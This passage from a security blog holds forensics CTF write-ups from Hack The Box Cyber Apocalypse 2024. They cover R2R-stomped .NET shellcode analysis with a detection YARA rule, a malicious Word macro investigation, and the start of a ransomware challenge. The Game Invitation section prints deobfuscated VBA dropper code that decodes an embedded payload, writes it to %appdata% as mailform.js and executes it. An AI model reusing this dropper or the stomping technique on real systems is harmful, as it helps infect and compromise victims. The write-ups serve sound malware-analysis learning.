<pre><code class="lang-bash">6348    TheGame.exe     <span class="hljs-string">"C:\Users\architect\Desktop\publish\TheGame.exe"</span>
</code></pre>
<p>Same executable appear in the list of connections</p>
<pre><code class="lang-markdown">Offset            Proto    LocalAddr    LocalPort    ForeignAddr    ForeignPort    State    PID        Owner        Created
0xac8d5f6dd8a0    TCPv4    10.0.2.15    49829        20.12.23.50    443            CLOSED    6348    TheGame.exe    2024-02-08 22:43:14.000000
</code></pre>
<p>..but again, <em>cul</em>-<em>de</em>-<em>sac</em>. It is easy to establish that <code>20.12.23.50</code> belongs to <a target="_blank" href="https://www.netify.ai/resources/ips/20.12.23.50">Windows Update service</a>. Chasing answer if it is true, is not my concern especially because connection was established over SSL - and that's definitely not a common thing to put into CTF challenge.</p>
<p>Anyway, I continue with dumping the binary from the process.</p>
<pre><code class="lang-bash">$ vol3 -f memory_layer.raw windows.pslist.PsList --pid 6348 --dump
</code></pre>
<p>Hmm, wrong file?</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1710605686798/490e6927-3ae2-4f5e-a000-41e506bc3809.png" alt class="image--center mx-auto" /></p>
<p>Maybe the binary is incomplete/malformed. Let's see if there are other places from which we can get the binary.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1710605994460/46a8e2b6-cebe-4e7b-b0c3-ff35cf91463f.png" alt class="image--center mx-auto" /></p>
<p>After checking all files it becomes clear that we won't get anything apart from one file. I proceed with decompiling <code>TheGame.dll</code> in <a target="_blank" href="https://github.com/icsharpcode/ILSpy">ILSpy</a>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1710604268599/b9176d6b-e575-4dfa-8018-1ebf21235a6f.png" alt class="image--center mx-auto" /></p>
<p>Let's have a look at the <code>Main(..)</code> method.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1710604420851/ed0420a5-bdbc-4026-89af-21c784d9ff67.png" alt class="image--center mx-auto" /></p>
<ol>
<li><p>Try loading list of DLLs.</p>
</li>
<li><p>Initilize AMSI engine.</p>
</li>
<li><p>Tests the engine using hardcoded binary data.</p>
</li>
<li><p>Load <code>kernel32.dll</code> test it with AMSI.</p>
</li>
<li><p>If AMSI does not report file as malicious, tries injecting DLL with the same binary data that raises AMSI alert.</p>
</li>
<li><p>Goes limbo with <strong>many</strong><code>Nop</code> commands.</p>
</li>
</ol>
<p>Ok, a lot is happening there so let's start with some definitions.</p>
<details><summary>Antimalware Scan Interface (AMSI)</summary><div data-type="detailsContent">Versatile interface standard that allows the applications and services to integrate with any antimalware product that's present on a machine.</div></details><details><summary>No-operation instruction (nop, no-op)</summary><div data-type="detailsContent">Machine language instruction and its assembly language mnemonic, programming language statement, or computer protocol command that does <strong>nothing</strong>.</div></details>

<p>Although I suspect what that base64 encoded binary data <a target="_blank" href="https://www.eicar.org/download-anti-malware-testfile/">is</a>, let's throw it into <a target="_blank" href="https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true,false)&amp;input=V0RWUElWQWxRRUZRV3pSY1VGcFlOVFFvVUY0cE4wTkRLVGQ5SkVWSlEwRlNMVk5VUVU1RVFWSkVMVUZPVkVsV1NWSlZVeTFVUlZOVUxVWkpURVVoSkVnclNDb05DZz09">CyberChef</a>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1710605259638/b961053c-f8a6-40a5-8aed-5e3827a5f80e.png" alt class="image--center mx-auto" /></p>
<details><summary>EICAR Anti-Virus Test File</summary><div data-type="detailsContent">Test file that was developed by the European Institute for Computer Antivirus Research (EICAR) and Computer Antivirus Research Organization (CARO), to test the response of computer antivirus programs. Instead of using real malware, which could cause real damage, this test file allows people to test anti-virus software without having to use a real computer virus.</div></details>

<p>Okey, let's think for a moment.</p>
<p>In the <code>main(..)</code> method of a <code>TheGame.dll</code> .NET library there are 8 more DLLs loaded, do nothing with them, then proceed to load some AMSI module with a purpose of.. <strong>writing some bytes to the core Windows library</strong>.. when for sure it is already in use! So that won't gonna happen - that's why the exception is swollen in <code>try/catch</code> clause.</p>
<blockquote>
<p>Ok now I will start talking like it is just an another CTF challenge, another Mr. Know-it-all. But reaching from this point to the moment when I realized what I have to do, took me <strong>4 (four) days</strong>. To be more precise something around 20-25hrs but because of what is going to happen is probably why this challenge is rated as Insane.</p>
</blockquote>
<p>It's either a rabbit hole that someone put some effort to setup, or there is something that I am missing from the picture.</p>
<p><em>You explain to the rest of your team that the Legionnaires despise anything unethical and if you expose them and go to them with your evidence in hand, then you surely end up being their favorite up-and-coming faction. "Are you Ready To Run with the Wolves?!"</em></p>
<p>Why are the <code>Ready To Run</code> and <code>Wolves</code> capitalized?</p>
<blockquote>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1710607052298/78686b6b-e389-41eb-9199-485ff4108e52.png" alt class="image--center mx-auto" /></p>
<p>..i don't think this is what the author wants me to search for... but for sure <strong>I</strong> can recommend this:</p>
<div class="embed-wrapper"><div class="embed-loading"><div class="loadingRow"></div><div class="loadingRow"></div></div><a class="embed-card" href="https://open.spotify.com/track/6r6n5OmXkdsOxN2iCj5UE0?si=82cfd1ed1bba4419">https://open.spotify.com/track/6r6n5OmXkdsOxN2iCj5UE0?si=82cfd1ed1bba4419</a></div>
<p> </p>
</blockquote>
<p>Oh you sneaky s..</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1710607739242/ace6970c-1162-4c32-bd79-82d9be5ba57a.png" alt class="image--center mx-auto" /></p>
<h1 id="heading-ready-to-run-with-the-wolves">Ready to run with the wolves</h1>
<div class="hn-embed-widget" id="support-cta"></div><p> </p>
<p>I'm in no competence to explain what ReadyToRun Deployment, Ahead-Of-Time Compilation are and how important they are not only for this challenge but for all <code>dotnet</code> developers and security researchers. That's why I am recommending to read great articles and resources I've gathered in the last section as well as other write-ups for this challenge. And for now let me explain this concept in the Minimum-Valuable-Product way.</p>
<h2 id="heading-r2r-and-aot">R2R and AOT</h2>
<p>Step back. <code>Source Code -&gt; IL -&gt; Native</code>. CIL programming language code is translated to the Common Intermidiate Language which then Common Language Runtime executes by performing Just-in-time Compilation, compiling CIL to native instructions. This happens this way to deliver versatility for CIL languages - software can run on different platforms, not only on that on which source code was compiled (because each platform has its CLR).</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1710609960036/7bd355cf-55bc-4cec-82e7-49b63d2ed6d1.png" alt class="image--center mx-auto" /></p>
<p><em>(source:</em> <a target="_blank" href="https://medium.com/@kunaltandon.kt/c-clr-il-jit-compilation-code-access-security-explained-269124121f5"><em>https://medium.com/@kunaltandon.kt/c-clr-il-jit-compilation-code-access-security-explained-269124121f5</em></a><em>)</em></p>
<p>Ahead-Of-Time was a term existing for some time now, but R2R was introduced with the release of <a target="_blank" href="https://documentation.red-gate.com/sa8/building-your-assembly/using-smartassembly-with-readytorun-images-net-core-3">.NET Core 3.0</a>. If you are familiar with the term <a target="_blank" href="https://www.geeksforgeeks.org/template-specialization-c/">Template Specialization</a> (or similar) - you are golden. At least that's how I understand whats happening.</p>
<p>So basicaly, you have your source code translated to CIL, generic code. But instead of waiting for your software to run on specific platform and let CLR to compile your CIL into native machine instructions - you just compile it <strong><em>ahead of time</em></strong>. Then you include that compiled, native instructions into your software so it is <strong><em>ready to run</em></strong> on that platform.</p>
<h2 id="heading-r2r-stomping">R2R Stomping</h2>
<p>Ok, so how does it relate to our <code>TheGame.dll</code>? See, when decompiler inspects library or executable it just <strong>by default</strong> run through the IL and extrapolates on what the software is doing. But when such software runs, it executed the native instructions - provided both from CLR and AOT Compilation.</p>
<p>What if.. someone compiles the DLL with R2R targeted specific architecture - then for example injects own native instructions overridding the AOT compilation. Assuming there is just enough space in R2R portion of assembly to hold new payload, that one will end up having a single software copy that can behave very differently from how it was coded!</p>
<blockquote>
<p>I encourage at least glancing throught the R2R Stomping article for more detailed presentation.</p>
</blockquote>
<p>This, my ladies and gents - is the reason I was loosing my mind over this one challenge for a couple last days.</p>
<h2 id="heading-detecting-r2r">Detecting R2R</h2>
<p>Actually there are many signs that we are dealing with R2R assembly - I just didn't know about them 😉</p>
<p>dotPeek:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1710626144665/7d793349-b563-45c7-85d7-43844e8645d0.png" alt class="image--center mx-auto" /></p>
<p>dnSpy:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1710663231309/6789e898-b950-4563-afc1-aa0ea103fb04.png" alt class="image--center mx-auto" /></p>
<blockquote>
<p>R2R File Format specifies that (quote from the linked GitHub document):</p>
<ul>
<li><p>The PE file is always platform specific</p>
</li>
<li><p>CLI Header Flags field has set <code>COMIMAGE_FLAGS_IL_LIBRARY</code> (0x00000004) bit set</p>
</li>
<li><p>CLI Header <code>ManagedNativeHeader</code> points to READYTORUN_HEADER</p>
</li>
</ul>
</blockquote>
<p>And finally, if you are not a fan of manual/visual analysis - here comes the quickest way to check if you are dealing with the R2R assembly - rule for the ultimate <a target="_blank" href="https://virustotal.github.io/yara/">Yara</a>.</p>
<pre><code class="lang-c"><span class="hljs-keyword">import</span> <span class="hljs-string">"pe"</span>
<span class="hljs-comment">// source: </span>
<span class="hljs-comment">// https://research.checkpoint.com/2023/r2r-stomping-are-you-ready-to-run/</span>

rule r2r_assembly
{
    meta:
        author = <span class="hljs-string">"jiriv"</span>
        description = <span class="hljs-string">"Detects dotnet binary compiled as ReadyToRun - form of ahead-of-time (AOT) compilation"</span>
    condition:
        <span class="hljs-comment">// check if valid PE</span>
        uint16(<span class="hljs-number">0</span>) == <span class="hljs-number">0x5a4d</span> <span class="hljs-keyword">and</span> uint16(uint32(<span class="hljs-number">0x3c</span>)) == <span class="hljs-number">0x4550</span> <span class="hljs-keyword">and</span>
        <span class="hljs-comment">// check if dotnet -&gt; .NET Directory is present</span>
        pe.data_directories[pe.IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR].virtual_address != <span class="hljs-number">0</span> <span class="hljs-keyword">and</span>
        <span class="hljs-comment">// check if ManagedNativeHeader exists -&gt; ManagedNativeHeader RVA is not 0 inside .NET Directory</span>
        uint32(pe.rva_to_offset(pe.data_directories[pe.IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR].virtual_address) + <span class="hljs-number">0x40</span>) != <span class="hljs-number">0</span> <span class="hljs-keyword">and</span>
        <span class="hljs-comment">// check if it is R2R -&gt; RTR magic signature is present (0x00525452 == "RTR" in ascii)</span>
        uint32(pe.rva_to_offset(uint32(pe.rva_to_offset(pe.data_directories[pe.IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR].virtual_address) + <span class="hljs-number">0x40</span>))) == <span class="hljs-number">0x00525452</span>
}
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1710663580488/4a832138-ca27-46f1-948d-cfd3006e264b.png" alt class="image--center mx-auto" /></p>
<h1 id="heading-extracting-shellcode">Extracting shellcode</h1>
<details><summary>Shellcode</summary><div data-type="detailsContent">Small piece of executable code used as a payload, built to exploit vulnerabilities in a system or carry out malicious commands. Shellcode is commonly written as assembly instructions.</div></details>

<p>Now what we know what <code>TheGame.dll</code> really is, lets see the <code>Main(..)</code> method once again, but from different perspective. Load the assembly into ILSpy, right click on the <code>Main(..)</code> and choose "Decompile to new tab". We can stack two of these horizontally so we can have easier time to see the difference.<br />In one of the tabs select "ReadyToRun" (to be honest, I've never been aware that this dropdown exists..).</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1710664262683/20244770-65f9-476f-8d58-fceec7dd3765.png" alt class="image--center mx-auto" /></p>
<p>I'm not a assembly guy, but what can be seen in ReadyToRun view, is nothing about loading some DLLs and checks. There are a lot of <code>mov</code> instructions and no binary loading, no jumps, etc.</p>
<p>At the top of the file/view first instruction is at <code>0x1DB0</code> . The moment when shellcode ends is a moment when similarity between IL view and R2R view starts - <code>0x33B0</code>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1710665117918/c24751a9-bf8f-468f-8613-c6f0f7518526.png" alt class="image--center mx-auto" /></p>
<p>Let's then carve it out then directly from the file.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1710665595495/6f47232c-e8fe-40b4-98e7-b3abf5a6eaaf.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-plaintext">$ shellcode.bin (read-only)
acb6c622f2ff6dafdb1391561b26d2abaa3944e342510c6ed2afcc4231cc0680
</code></pre>
<h1 id="heading-shellcode-analysis">Shellcode analysis</h1>
<p>Because trying to run the shellcode directly on a live system would be of the same level of responsibility as running the <code>Invoke-Expression</code> or <code>eval</code> copied directly from the malware (not really responsible and smart) - there are some solutions that enables <strong>shellcode emulation</strong>.</p>
<blockquote>
<p>To be honest it's not even that easy to run or analyze such shellcode, well, because these are just the plain assembly instructions - no PE headers so it is not recognized as "a thing" in dissasemble tools, nor <code>strings</code> won't help in our situation, <code>file</code> command returns just "data".</p>
</blockquote>
<p>I'm going to use <a target="_blank" href="https://github.com/mandiant/speakeasy">speakeasy</a> Python module for that purpose.</p>
<blockquote>
<p>Quick tip: after git cloning the speakeasy repository and installing requirements, if you would like to call <code>speakeasy</code> regardless what you current working directory add following to your shell profile (<code>.bashrc</code>, <code>.zshrc</code>) with the correct path of course.<br /><code>export PYTHONPATH="$PYTHONPATH:/opt/speakeasy"</code></p>
</blockquote>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1710667961505/ca056181-5de8-4d73-b03a-db1161fdcfde.png" alt class="image--center mx-auto" /></p>
<p>Voilà! It runs, but apparently stops after it verifies that current host is not "ARCH_WORKSTATION-7". Let's change it, shall we?</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1710668463459/82b8dbe7-f2b6-485f-b3d4-1a929911b40c.png" alt class="image--center mx-auto" /></p>
<p>Finally 🎉</p>
<h1 id="heading-additional-readings">Additional readings</h1>
<div class="hn-embed-widget" id="follow-cta"></div><p> </p>
<ul>
<li><p>⭐ <a target="_blank" href="https://github.com/hackthebox/cyber-apocalypse-2024/tree/main/forensics/%5BInsane%5D%20Oblique%20Final">Official HTB write-up</a></p>
</li>
<li><p>⭐ <a target="_blank" href="https://research.checkpoint.com/2023/r2r-stomping-are-you-ready-to-run/">R2R Stomping – are you ready to run?</a></p>
</li>
<li><p>⭐ <a target="_blank" href="https://github.com/dotnet/runtime/blob/main/docs/design/coreclr/botr/readytorun-format.md">GitHub/dotnet/runtime: ReadyToRun File Format</a></p>
</li>
<li><p><a target="_blank" href="https://www.mandiant.com/resources/blog/emulation-of-malicious-shellcode-with-speakeasy">Emulation of Malicious Shellcode With Speakeasy</a></p>
</li>
<li><p><a target="_blank" href="https://documentation.red-gate.com/sa8/building-your-assembly/using-smartassembly-with-readytorun-images-net-core-3">Using SmartAssembly with ReadyToRun images (.NET Core 3)</a></p>
</li>
<li><p><a target="_blank" href="https://learn.microsoft.com/en-us/dotnet/core/deploying/ready-to-run">Microsoft: ReadyToRun Compilation</a></p>
</li>
<li><p><a target="_blank" href="https://devblogs.microsoft.com/dotnet/conversation-about-crossgen2/">Conversation about crossgen2</a></p>
</li>
<li><p><a target="_blank" href="https://blog.cyberethical.me/hacktheboo-2022-htb-ctf-write-ups#heading-poof">POOF write-up from HackTheBoo 2022 using volatility2</a></p>
</li>
<li><p><a target="_blank" href="https://github.com/volatilityfoundation/volatility3/pull/1036">volatility3 pull request with the hibernation plugins by ForensicXlab</a></p>
</li>
<li><p><a target="_blank" href="https://www.forensicxlab.com/posts/hibernation/">Volatility3: Modern Windows Hibernation file analysis by ForensiXlab</a></p>
</li>
</ul>
]]></content:encoded></item><item><title><![CDATA[Forensics: Game Invitation]]></title><description><![CDATA[Introduction

In the bustling city of KORP™, where factions vie in The Fray, a mysterious game emerges. As a seasoned faction member, you feel the tension growing by the minute. Whispers spread of a new challenge, piquing both curiosity and wariness....]]></description><link>https://blog.cyberethical.me/htb-cyber-apocalypse-forensics-game-invitation</link><guid isPermaLink="true">https://blog.cyberethical.me/htb-cyber-apocalypse-forensics-game-invitation</guid><category><![CDATA[CTF Writeup]]></category><category><![CDATA[Ethical Hacking]]></category><category><![CDATA[Malware]]></category><dc:creator><![CDATA[Kamil Gierach-Pacanek]]></dc:creator><pubDate>Sat, 16 Mar 2024 10:10:45 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1710583252793/9804c2b2-e279-4d39-a417-4ef9fe489ca3.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h1 id="heading-introduction">Introduction</h1>
<blockquote>
<p>In the bustling city of KORP™, where factions vie in The Fray, a mysterious game emerges. As a seasoned faction member, you feel the tension growing by the minute. Whispers spread of a new challenge, piquing both curiosity and wariness. Then, an email arrives: "Join The Fray: Embrace the Challenge." But lurking beneath the excitement is a nagging doubt. Could this invitation hide something more sinister within its innocent attachment?</p>
</blockquote>
<p><strong>Type</strong>: Forensics<br /><strong>Difficulty</strong>: Hard<br /><strong>Event</strong>: <a target="_blank" href="https://ctf.hackthebox.com/event/details/cyber-apocalypse-2024-hacker-royale-1386"><strong>Hack The Box Cyber Apocalypse 2024: Hacker Royale</strong></a> (<a target="_blank" href="https://ctftime.org/event/2255"><strong>ctftime</strong></a>)</p>
<div class="hn-embed-widget" id="support-cta"></div><p> </p>
<h1 id="heading-initial-recon">Initial recon</h1>
<p>Given: single DOCM file.</p>
<pre><code class="lang-plaintext">$ invitation.docm (read-only)
ce9f4c1bd44ff0a9131e63cf4f8c0ce5c1c8e4eb77bffe843a325d08b34eb9bb
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1710578173550/297e0350-f9ae-4a3e-9f63-8eca7f459170.png" alt class="image--center mx-auto" /></p>
<h1 id="heading-investigation">Investigation</h1>
<p>DOCM is are macro-enabled Microsoft Word document format. Analysis of this kind of files are in my opinion the most popular tasks whenever forensics category is included in CTF events. I covered two of those in my blog:</p>
<ul>
<li><p><a target="_blank" href="https://blog.cyberethical.me/htb-business-ctf-2021-badransomware">HTB Business CTF 2021: badRansomware</a></p>
</li>
<li><p><a target="_blank" href="https://blog.cyberethical.me/hacktheboo-2022-htb-ctf-write-ups#heading-halloween-invitation">HackTheBoo 2022: Halloween Invitation</a></p>
</li>
</ul>
<p>So without further ado, let's extract that VBA macro using <a target="_blank" href="https://github.com/decalage2/oletools/wiki/olevba">olevba</a> Python script.</p>
<pre><code class="lang-plaintext">$ olevba invitation.docm
//... (output trimmed for readability)
</code></pre>
<h1 id="heading-vba-macro">VBA macro</h1>
<p>I will save you reading the origal, obfuscated script.</p>
<h2 id="heading-stage-01-deobfuscated">Stage 01 (deobfuscated)</h2>
<pre><code class="lang-basic">Public jspath As String
Public appdataPath As String

Function xorString(given_string() As Byte, length As Long) As Boolean
    <span class="hljs-keyword">Dim</span> xor_key As Byte
    xor_key = <span class="hljs-number">45</span>
    <span class="hljs-keyword">For</span> i = <span class="hljs-number">0</span> <span class="hljs-keyword">To</span> length - <span class="hljs-number">1</span>
        given_string(i) = given_string(i) <span class="hljs-keyword">Xor</span> xor_key
        xor_key = ((xor_key <span class="hljs-keyword">Xor</span> <span class="hljs-number">99</span>) <span class="hljs-keyword">Xor</span> (i <span class="hljs-keyword">Mod</span> <span class="hljs-number">254</span>))
    <span class="hljs-keyword">Next</span> i
    xorString = TRUE
<span class="hljs-keyword">End</span> Function

<span class="hljs-keyword">Dim</span> filenumber
<span class="hljs-keyword">Dim</span> file_length As Long
<span class="hljs-keyword">Dim</span> length As Long
file_length = FileLen(ActiveDocument.FullName)
filenumber = FreeFile
<span class="hljs-keyword">Open</span> (ActiveDocument.FullName) <span class="hljs-keyword">For</span> Binary As #filenumber
<span class="hljs-keyword">Dim</span> byteArray() As Byte
ReDim byteArray(file_length)
<span class="hljs-keyword">Get</span> #filenumber, <span class="hljs-number">1</span>, byteArray
<span class="hljs-keyword">Dim</span> convertedToUnicode As String
convertedToUnicode = StrConv(byteArray, vbUnicode)
<span class="hljs-keyword">Dim</span> singeMatch, matches
<span class="hljs-keyword">Dim</span> regexp
Set regexp = CreateObject(<span class="hljs-string">"vbscript.regexp"</span>)
regexp.Pattern = <span class="hljs-string">"sWcDWp36x5oIe2hJGnRy1iC92AcdQgO8RLioVZWlhCKJXHRSqO450AiqLZyLFeXYilCtorg0p3RdaoPa"</span>
Set matches = regexp.Execute(convertedToUnicode)
<span class="hljs-keyword">Dim</span> indexOfFirstMatch
<span class="hljs-keyword">If</span> matches.Count = <span class="hljs-number">0</span> <span class="hljs-keyword">Then</span>
    <span class="hljs-keyword">GoTo</span> lable1
<span class="hljs-keyword">End</span> <span class="hljs-keyword">If</span>
<span class="hljs-keyword">For</span> Each singleMatch In matches
    indexOfFirstMatch = singleMatch.FirstIndex
    Exit <span class="hljs-keyword">For</span>
<span class="hljs-keyword">Next</span>
<span class="hljs-keyword">Dim</span> secondByteArray() As Byte
<span class="hljs-keyword">Dim</span> arbitraryLength As Long
arbitraryLength = <span class="hljs-number">13082</span>
ReDim secondByteArray(arbitraryLength)
<span class="hljs-keyword">Get</span> #filenumber, indexOfFirstMatch + <span class="hljs-number">81</span>, secondByteArray
<span class="hljs-keyword">If</span> <span class="hljs-keyword">Not</span> xorString(secondByteArray(), arbitraryLength + <span class="hljs-number">1</span>) <span class="hljs-keyword">Then</span>
    <span class="hljs-keyword">GoTo</span> lable1
<span class="hljs-keyword">End</span> <span class="hljs-keyword">If</span>
appdataPath = <span class="hljs-keyword">Environ</span>(<span class="hljs-string">"appdata"</span>) &amp; <span class="hljs-string">"\Microsoft\Windows"</span>
Set fileSystemObject = CreateObject(<span class="hljs-string">"Scripting.FileSystemObject"</span>)
<span class="hljs-keyword">If</span> <span class="hljs-keyword">Not</span> fileSystemObject.FolderExists(appdataPath) <span class="hljs-keyword">Then</span>
    appdataPath = <span class="hljs-keyword">Environ</span>(<span class="hljs-string">"appdata"</span>)
<span class="hljs-keyword">End</span> <span class="hljs-keyword">If</span>
Set fileSystemObject = Nothing
<span class="hljs-keyword">Dim</span> fileNumber2
fileNumber2 = FreeFile
jspath = appdataPath &amp; <span class="hljs-string">"\\"</span> &amp; <span class="hljs-string">"mailform.js"</span>
<span class="hljs-keyword">Open</span> (jspath) <span class="hljs-keyword">For</span> Binary As #fileNumber2
<span class="hljs-keyword">Put</span> #fileNumber2, <span class="hljs-number">1</span>, secondByteArray
<span class="hljs-keyword">Close</span> #fileNumber2
<span class="hljs-keyword">Erase</span> secondByteArray
Set shellObject = CreateObject(<span class="hljs-string">"WScript.Shell"</span>)
shellObject.<span class="hljs-keyword">Run</span> <span class="hljs-string">""</span><span class="hljs-string">""</span> + jspath + <span class="hljs-string">""</span><span class="hljs-string">""</span> + <span class="hljs-string">" vF8rdgMHKBrvCoCp0ulm"</span>
ActiveDocument.<span class="hljs-keyword">Save</span>
Exit Sub
lable1:
<span class="hljs-keyword">Close</span> #fileNumber2
ActiveDocument.<span class="hljs-keyword">Save</span>
<span class="hljs-keyword">End</span> <span class="hljs-keyword">If</span>
<span class="hljs-keyword">End</span> Sub
</code></pre>
<ol>
<li><p>Read current file (DOCM) binary.</p>
</li>
<li><p>Search for the pattern in the binary data.</p>
</li>
<li><p>Run custom XORing function over the succeeding 13082 bytes.</p>
</li>
<li><p>Resulting binary data is saves as a <code>mailform.js</code>.</p>
</li>
<li><p>WScript <code>mailform.js</code> is then executed with the argument <code>vF8rdgMHKBrvCoCp0ulm</code></p>
</li>
</ol>
<p>I have transcribed the VBA into the Python script to obtain the <code>mailform.js</code>.</p>
<h2 id="heading-stage-01-python">Stage 01 (Python)</h2>
<pre><code class="lang-python"><span class="hljs-comment">#!/usr/bin/python</span>
<span class="hljs-keyword">import</span> re

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">xorString</span>(<span class="hljs-params">given_string, length</span>):</span>
    xor_key = <span class="hljs-number">45</span>
    <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(length):
        given_string[i] = given_string[i] ^ xor_key
        xor_key = ((xor_key ^ <span class="hljs-number">99</span>) ^ (i % <span class="hljs-number">254</span>))
    <span class="hljs-keyword">return</span> given_string

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">main</span>():</span>    
    <span class="hljs-keyword">with</span> open(<span class="hljs-string">'invitation.docm'</span>, <span class="hljs-string">'rb'</span>) <span class="hljs-keyword">as</span> docmFile:
        byteArray = bytearray(docmFile.read())
        convertedToUnicode = byteArray

        pattern = <span class="hljs-string">b'sWcDWp36x5oIe2hJGnRy1iC92AcdQgO8RLioVZWlhCKJXHRSqO450AiqLZyLFeXYilCtorg0p3RdaoPa'</span>
        matches = re.finditer(pattern, convertedToUnicode)

        indexOfFirstMatch = <span class="hljs-literal">None</span>
        <span class="hljs-keyword">for</span> singleMatch <span class="hljs-keyword">in</span> matches:
            indexOfFirstMatch = singleMatch.start()
            <span class="hljs-keyword">break</span>

        <span class="hljs-keyword">if</span> indexOfFirstMatch <span class="hljs-keyword">is</span> <span class="hljs-literal">None</span>:
            print(<span class="hljs-string">'pattern not found'</span>)
            <span class="hljs-keyword">return</span>

        arbitraryLength = <span class="hljs-number">13082</span>
        docmFile.seek(indexOfFirstMatch + <span class="hljs-number">80</span>)
        secondByteArray = bytearray(docmFile.read(arbitraryLength))

        secondByteArray = xorString(secondByteArray, arbitraryLength)

        <span class="hljs-keyword">with</span> open(<span class="hljs-string">"mailform.js"</span>, <span class="hljs-string">'wb'</span>) <span class="hljs-keyword">as</span> docmFile2:
            docmFile2.write(secondByteArray)

<span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">"__main__"</span>:
    main()
</code></pre>
<p>This resulted in the JS file.</p>
<h2 id="heading-stage-02-mailformjs">Stage 02 (<code>mailform.js</code>)</h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1710582039879/d7c16e14-0dfd-4c97-b96f-17882bd3244d.png" alt class="image--center mx-auto" /></p>
<p>Because it is a JavaScript we can leverage it <strong>very carefuly</strong> to let the browser decode the code for us and retrieve the next payload. Please do notice that I've marked the hazardous <code>eval(..)</code> function that has to be removed to neutralize the payload. I have replaces it with a <code>console.log(..)</code>.</p>
<blockquote>
<p>You never want any kind of <code>eval</code> or <code>Invoke-Expression</code> slip through.</p>
</blockquote>
<h2 id="heading-stage-03">Stage 03</h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1710582752891/c10521d0-1f18-40b7-9316-3b2912c732d6.png" alt class="image--center mx-auto" /></p>
<p>More JavaScript to deobfuscate. Unless..</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1710582863874/461db9ca-4f35-4700-9a22-21dda7aaad64.png" alt class="image--center mx-auto" /></p>
<p>And after decoding this in CyberChef 🎉</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1710582987470/04941aaa-cb4d-4387-8f40-8f45c4308b2b.png" alt class="image--center mx-auto" /></p>
<h1 id="heading-additional-reading">Additional reading</h1>
<div class="hn-embed-widget" id="follow-cta"></div><p> </p>
<ul>
<li><p><a target="_blank" href="https://attack.mitre.org/techniques/T1137/001/">MITRE T1137.001 (Office Application Startup: Office Template Macros</a>)</p>
</li>
<li><p>⭐ <a target="_blank" href="https://github.com/hackthebox/cyber-apocalypse-2024/tree/main/forensics/%5BHard%5D%20Game%20Invitation">Official HTB write-up</a></p>
</li>
<li><p><a target="_blank" href="https://blog.cyberethical.me/htb-business-ctf-2021-badransomware">Write-up: HTB Business CTF 2021: badRansomware</a></p>
</li>
<li><p><a target="_blank" href="https://blog.cyberethical.me/hacktheboo-2022-htb-ctf-write-ups#heading-halloween-invitation">Write-up: HackTheBoo 2022: Halloween Invitation</a></p>
</li>
</ul>
]]></content:encoded></item><item><title><![CDATA[Forensics: Confinement]]></title><description><![CDATA[Introduction

Our clan's network has been infected by a cunning ransomware attack, encrypting irreplaceable data essential for our relentless rivalry with other factions. With no backups to fall back on, we find ourselves at the mercy of unseen adver...]]></description><link>https://blog.cyberethical.me/htb-cyber-apocalypse-forensics-confinement</link><guid isPermaLink="true">https://blog.cyberethical.me/htb-cyber-apocalypse-forensics-confinement</guid><category><![CDATA[CTF Writeup]]></category><category><![CDATA[Ethical Hacking]]></category><dc:creator><![CDATA[Kamil Gierach-Pacanek]]></dc:creator><pubDate>Fri, 15 Mar 2024 22:03:03 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1710539785969/0ab20b8b-3e78-4755-b800-45bc2029af64.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h1 id="heading-introduction">Introduction</h1>
<blockquote>
<p>Our clan's network has been infected by a cunning ransomware attack, encrypting irreplaceable data essential for our relentless rivalry with other factions. With no backups to fall back on, we find ourselves at the mercy of unseen adversaries, our fate uncertain. Your expertise is the beacon of hope we desperately need to unlock these encrypted files and reclaim our destiny in The Fray.<br />Note: The valuable data is stored under \Documents\Work</p>
</blockquote>
<p><strong>Type</strong>: Forensics<br /><strong>Difficulty</strong>: Hard<br /><strong>Event</strong>: <a target="_blank" href="https://ctf.hackthebox.com/event/details/cyber-apocalypse-2024-hacker-royale-1386">Hack The Box Cyber Apocalypse 2024: Hacker Royale</a> (<a target="_blank" href="https://ctftime.org/event/2255">ctftime</a>)</p>
<div class="hn-embed-widget" id="support-cta"></div><p> </p>
<h1 id="heading-initial-recon">Initial recon</h1>
<p>Given: single AD1 file.</p>
<pre><code class="lang-plaintext">$ Confinement.ad1 (read-only)
d8cc0505f4a125bb24eaa0a955bc83800678a24570daefa3ab0936a9a095a1e3
</code></pre>
